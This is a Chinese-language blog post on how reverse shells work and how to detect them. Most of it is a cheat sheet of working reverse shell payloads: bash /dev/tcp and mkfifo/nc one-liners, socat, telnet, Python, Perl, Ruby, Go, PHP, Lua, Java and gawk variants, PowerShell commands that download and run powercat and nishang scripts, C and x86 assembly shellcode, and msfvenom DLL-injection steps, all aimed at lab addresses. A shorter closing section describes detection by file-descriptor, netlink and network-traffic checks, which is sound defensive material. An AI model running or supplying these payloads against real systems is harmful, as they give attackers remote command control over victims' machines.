反弹Shell原理及检测技术研究

1. 反弹Shell的概念本质

所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。 

本文会先分别讨论:

  • 命令执行(system executor)
  • 网络通信(network api)

这两个基础原子概念,然后在之后的章节中用组合的方式来呈现现在主流的反弹shell技术方式及其原理,用这种横向和纵向拆分的方式来帮助读者朋友更好地理解反弹shell。

 

2. 网络通信(network api)方式讨论

0x1:/dev/[tcp|udp]【4层协议】

1. 从文件描述(file descriptor)符说起

linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄,这个数字本质上是一个文件句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入:standard input 0 (默认设备键盘)
  • 标准输出:standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

进程启动后再打开新的文件,描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符,因此所有的shell命令(本质上也是启动新进程),都会默认有三个文件描述符。

Linux一切皆文件,键盘、显示器设备也是文件,因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

2. 重定向

重定向主要分为两种

  • 输入重定向
    • “<”
    • “<<”
  • 输出重定向
    • “>”
    • “>>”

bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析

1)输入重定向

[n]< word 
(注意[n]与<之间没有空格)

说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)。

解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。

2)输出重定向

[n]> word

说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)。

 

上述指令将文件描述符1(标准输出)重定向到了指定文件。

3)标准输出与标准错误输出重定向

下面3种形式完全等价,

&> word 
>& word
> word 2>&1:将标准错误输出复制到标准输出

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开)。

 

解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。

4)文件描述符的复制

[n]<&[m] 
n]>&[m] 
注意:这里所有字符之间不要有空格
  • 这两个指令都是将文件描述符 n 复制到 m ,两者的区别是
    • [n]<&[m] :以只读的形式打开
    • n]>&[m] :以写的形式打开
  • 这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

注意,重定向符号的顺序不能随便换,因为系统是从左到右执行。我们来分析上面指令结果出现的原理,

首先解析器解析到 2>&1

解析器再向后解析到 “>” 

5)exec 绑定重定向

exec [n] <> file/[n]:以读写方式打开file指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入
exec [n] < file/[n] 
exec [n] > file/[n]

使用 exec 指令,可以让重定向在接下来的会话中(多条指令)持续有效。

 

0x2:通过建立socket tcp连接实现网络通信【4层协议】 

0x3:使用ICMP实现网络通信【4层协议】

0x4:使用DNS实现网络通信【7层协议】

Relevant Link: 

https://xz.aliyun.com/t/2548 

 

3. 命令执行(system executor)方式讨论

0x1:通过管道符传递指令

echo "hello" | cat

0x2:通过调用glibc api执行系统指令

本质上来说,Linux系统中的ring3应用程序启动时都会加载glibc.so库,glibc库中对Linux系统调用实现了封装。应用程序可以像使用C库那样,安全地使用系统调用。

0x3:通过直接调用系统调用执行指令

一般来说,应用程序可以通过glibc封装出的接口来使用系统调用,这样避免一些锁、传参检查等问题。但是技术上,应用程序完全也可以绕过glibc,直接发起syscall系统调用。

 

4. 反弹Shell攻击组合方式讨论

有了之前对命令执行和网络通信方式底层原理的讨论之后,这一章开始,我们将其进行横向和纵向的组合,讨论具体的反弹Shell姿势,并对每种姿势的底层原理进行分析。

0x1:“重定向符”+"/dev/tcp网络通信"Bash反弹Shell

这一类反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket。

attacker机器上执行:
nc -lvp 2333

victim 机器上执行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
  • “bash -i”:bash 是linux的一个比较常见的shell,除此之外还有 sh、zsh、等,他们之间有着细小差别
  • “-i”:这个参数表示的是产生交互式的shell
  • “/dev/tcp/ip/port”:/dev/tcp|udp/ip/port 这个文件可以将其看成一个设备(Linux下一切皆文件),对这个文件进行读写,就能实现与监听端口的服务器的socket通信
  • ”>&“:混合输出(错误、正确输出都输出到一个地方),避免受害者机器上依然能看到我们在攻击者机器中执行的指令
  • 0>&1:输入0是由 /dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到 /dev/tcp/192.168.146.129/2333 上,这就形成了一个回路,实现了我们远程交互式shell 的功能
    •  

常见的变种命令行如下:

  • 方式一:显式用“2>&1”来对错误输出进行重定向 
    • bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
  • 方式二:唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
    • bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    • bash -i >& /dev/tcp/192.168.146.129/2333 0<&1
  • 方式三:
    • bash -i >& /dev/tcp/192.168.146.129/2333 <&2
    • bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
  • 方式四:
    • exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
      • “exec 5<>/dev/tcp/192.168.146.129/2333”:这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式,于是我们就能通过文件描述符对这个socket连接进行操作了
      • “command|while read line do .....done”:从文件中依次读取每一行,将其赋值给 line 变量(这里变量可以很多,以空格分隔),之后再在循环中对line进行操作。
      • ”>&5 2>&1“:使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能
    • 0<&196;exec 196<>/dev/tcp/192.168.146.129/4444; sh <&196 >&196 2>&196
  • 方式五:
    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
      • “mkfifo”:首先创建了一个管道
      • “cat”:将管道里面的内容输出传递给/bin/sh
      • “/bin/sh -i 2>&1|nc .... > /tmp/f”:sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
    • mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

0x2:第三方软件内置“socket通信”+“指令交互”实现反弹shel功能

第三方软件可以通过编译性或者解释性语言,在内部实现系统命中的调用执行以及网络双向通信的功能。理论上说,这类方式的变化是无限的。

1. nc

nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

nc -e /bin/sh 192.168.146.129 2333

2. telnet反弹shell

mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

3. socat反弹shell

# 监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

# 反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999

 

4. Xterm 

# 在主控端配置
# 开启Xserver:  # TCP 6001
Xnest :1                

# 授予目标机连回来的权限:
xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server
# 如果想让任何人都连上:
xhost +                      

# 在受控端执行
# 假设xterm已安装,连回你的Xserver:
xterm -display attackerip:1
或者:
$ DISPLAY=attackerip:0 xterm

0x3:“管道符”+ “socket网络通信”实现bash反弹shell

1. 基于匿名管道(pipe)传递指令流

匿名管道(pipe)是内核中的一个单向数据通道,管道有一个读端和一个写端。一般用于父子进程之间的通信。

# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server 
ncat -lvvp 8888

bash进程的输入输出都来自其他进程的pipe。

2. 基于命名管道(fifo)

fifo是命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在(因为多个进程要识别),它的行为和匿名管道类似(一端读一端写),但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f
  • mkfifo 命令首先创建了一个管道
  • cat 将管道里面的内容输出传递给/bin/sh
  • sh会执行管道里的命令并将标准输出和标准错误输出结果通过 nc 传到该管道,由此形成了一个回路

0x4:git解释性脚本语言反弹shell

1. python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

# 拆成多行方便阅读
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('ip',port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
  • 使用duo2方法将第二个形参(文件描述符)指向第一个形参(socket链接)
    • os.dup2(s.fileno(),0)
    • os.dup2(s.fileno(),1)
    • os.dup2(s.fileno(),2)
  • 使用os的subprocess在本地开启一个子进程,启动bash交互模式,标准输入、标准输出、标准错误输出被重定向到了远程

2. perl反弹shell 

perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 拆成多行方便阅读
use Socket
$i=”10.211.55.2"
$p=7777
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){
    open(STDIN,">&S")
    open(STDOUT,">&S")
    open(STDERR,">&S")
    exec("/bin/sh -i")
}

3. ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

4. go反弹shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

5. php反弹shell

php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

6. lua反弹shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7. java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

8. gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

9. powershell反弹shell

powershell反弹shell本质上是一些多功能代码集合,通过调用windows提供的api接口实现网络通信和指令解析执行的功能。

1)powercat反弹shell

# 攻击者(192.168.159.134)开启监听:
nc -lvp 6666
# 或者使用powercat监听
powercat -l -p 6666

# 目标机反弹cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd

2)nishang反弹shell

Nishang是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

## Reverse TCP shell

# 攻击者(192.168.159.134)开启监听:
nc -lvp 6666

# 目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

# 或者将nishang下载到攻击者本地:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

## Reverse UDP shell

# 攻击者(192.168.159.134)开启监听:
nc -lvup 53

# 目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

## Reverse ICMP shell

# 首先攻击端下载icmpsh_m.py文件
https://github.com/inquisb/icmpsh)和nishang中的Invoke-PowerShellIcmp.ps1

# 攻击者(192.168.159.134)执行
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听

# 目标机(192.168.159.138)执行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

3)自定义powershell函数反弹shell

利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell。

# 攻击者(192.168.159.134) 开启监听 
nc -lvp 6666

# 目标机执行 
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4)Empire 结合office反弹shell

Empire(https://github.com/EmpireProject/Empire)基于powershell的后渗透攻击框架,可利用office宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell。

  • 利用office宏反弹shell 
  • 利用office OLE对象插入bat文件反弹shell

Relevant Link: 

https://www.anquanke.com/post/id/99793

10. regsvr32反弹shell

0x5:msf生成payload反弹shell

1. 生成脚本解释型代码并执行

本质上就是在目标机器执行了一段Python代码,和上一章节的python反弹shell没有本质区别。

2. 生成编译型二进制文件并执行

本质上就是在目标机器执行了一个二进制程序。

3. 内存shellcode执行

通过shellcode直接调用glibc或者syscall完成反弹shell。 

1)C代码

#include<sys/socket.h>   //构造socket所需的库
#include<netinet/in.h>  //定义sockaddr结构
int main()
{
  char *shell[2];       //用于execv调用
  int soc,remote;    //文件描述符句柄
  struct sockaddr_in serv_addr; //保存IP/端口值的结构
 
  serv_addr.sin_addr.s_addr=0x6400A8C0;  //将socket的地址设置为所有本地地址
  serv_addr.sin_port=0xBBBB;  //设置socket的端口48059
  serv_addr.sin_family=2;   //设置协议族:IP
  soc=socket(2,1,0);
  remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);
 
  dup2(soc,0);   //将stdin连接client
  dup2(soc,1);   //将stdout连接client
  dup2(soc,2);   //将strderr连接到client
  shell[0]="/bin/sh";   //execve的第一个参数
  shell[1]=0;           //数组的第二个元素为NULL,表示数组结束
  execv(shell[0],shell,NULL);   //建立一个shell
}

2)汇编语言代码

section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx  ;清空edx
 
;soc=socket(2,1,0)
push eax  ;socket的第三个参数:0
push byte 0x1 ;socket的第二个参数:1
push byte 0x2 ;socket的第一个参数:2
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl  ;将socketcall的第一个参数设置为1
mov al,102  ;调用socketcall,分支调用号为1:SYS_SOCKET
int 0x80  ;进入核心态,执行系统调用
mov esi,eax ;将返回值(eax)存储到esi中(即soc句柄)
 
;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10)
push edx; ;仍然为0,用来作为接下来压栈的数据的结束符
push long 0x6400A8C0  ;本节代码中新增,将地址反序得到的十六进制压栈
push word 0xBBBB  ;将端口压栈,十进制为48059
xor ecx,ecx ;清空ecx,以便保存结构的sa_family字段
mov cl,2  ;将ecx的地位字节,设置为2
push word cx  ;建立结构,包括端口和sin.family,共四个字节
mov ecx,esp ;将结构的地址(在栈上)复制到ecx
push byte 0x10  ;connect参数的开始,将16压栈
push ecx  ;在栈上保存结构的地址
push esi  ;将服务器文件描述符esi保存到栈
mov ecx,esp ;将参数数组的地址保存到ecx(socketcall的第二个参数)
mov bl,3  ;将bl设置为3,socketcall的第一个参数
mov al,102  ;调用socketcall,分支调用号为3:SYS_CONNECT
int 0x80  ;进入核心态,执行系统调用
 
mov ebx,esi ;将客户端的soc文件描述符复制到ebx
;dup2(soc,0)
xor ecx,ecx ;清空ecx
mov al,63 ;将系统调用的第一个参数设置为63:dup
int 0x80  ;进行系统调用
 
;dup2(client,1)
inc ecx ;ecx设置为1
mov al,63 ;准备进行系统调用:dup2:63
int 0x80  ;进行系统调用
 
;dup2(client,2)
inc ecx ;ecx设置为2
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用
 
;标准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

注意,push long 0x6400A8C0 这里就是IP地址,出现了00,在网络传输中会被截断。

nasm -f elf reverse_port_asm.asm
ld -o reverse_port_asm reverse_port_asm.o
# 然后抽取十六进制代码
objdump -d ./reverse_port_asm
# 得到shellcode 

4. 通过dll进程注入执行反弹shell

PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell、

  • msfvenom生成dll后门:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll
  • metasploit设置payload开启监听
  • powershell下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门:IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

本质上,dll进程注入和上一节介绍的shellcode执行的原理的是一样的。

0x6:dns_shell & icmp_shell

本质上说,dns和icmp是一种网络通信方式,使用任何语言都可以借助这两种网络通信方式进行反弹shell交互。

但是我们知道,dns和icmp和tcp/udp不一样,它们都不是直连的网络信道,而是需要通过一个第三方进行消息中转。

  • dns(udp直连模式)
    • control server将指令封装成dns包格式,通过udp53直接发送给client
    • victim client从udp53接收到dns包后进行解析,从中提取并解码得到指令,并将执行结果封装成dns包格式,通过udp53返回给server
  • dns(authoritative DNS server转发模式)
    • victim client配置好dns resolve(domain nameserver),之后将所有的执行结果和指令请求都以正常dns query的形式发送给local DNS server,随后通过dns递归查询最终会发送到攻击者控制的domain nameserver上
    • control server从dns query中过滤出反弹shell相关的会话通信,并按照dns response的形式返回主控指令。 

Relevant Link: 

https://xz.aliyun.com/t/2549
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html
https://xz.aliyun.com/t/6727

 

5. 反弹Shell检测思路

0x1:进程 file descriptor 异常检测

1. 检测 file descriptor 是否指向一个socket

以“重定向符”+"/dev/tcp网络通信"Bash反弹Shell这一类最经典的反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄

  

1. 检测 file descriptor 是否指向一个管道符(pipe)

对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄

更进一步地说,不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。

我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否是来自一个socket。

例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。 

0x3:netlink监控+fd异常检测

  • 监听Netlink Socket,实时获取进程EXEC事件。
  • 如果为Shell进程,检查进程启动打开的FD,
    • 打开了Socket
    • 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端
    • 则确认为反弹Shell 

绕过风险

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法

例如这篇文章提到的,通过将/bin/sh重命名为其他名字进行反弹shell。

0x4:脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测

前面几节讨论的fd监控方案,其本质都是针对”通过系统bash程序实现的反弹shell“。

但是我们需要注意的是,操作系统是分层的,Bash只是一个应用程序的普通应用,其内部封装了调用glibc execve的功能而已,除了bash之外,白帽子还可以基于任意的应用层技术来实现反弹shell,例如:

  • python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
  • python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
  • C/C++实现纯代码形式的反弹shell:二进制文件检测

0x5:网络层反弹shell通信特征检测

反弹shell的通信会话中,会包含一些”cmdline shell特征“,例如”#root....“等,可以在网络侧进行NTA实时检测。

Relevant Link:  

https://thinkycx.me/2019-07-06-how-to-detect-a-reverse-shell.html
https://github.com/zhanghaoyil/seesaw
https://www.freebuf.com/articles/system/187584.html
posted @ 2019-12-15 21:45  郑瀚Andrew.Hann  阅读(3463)  评论(2编辑  收藏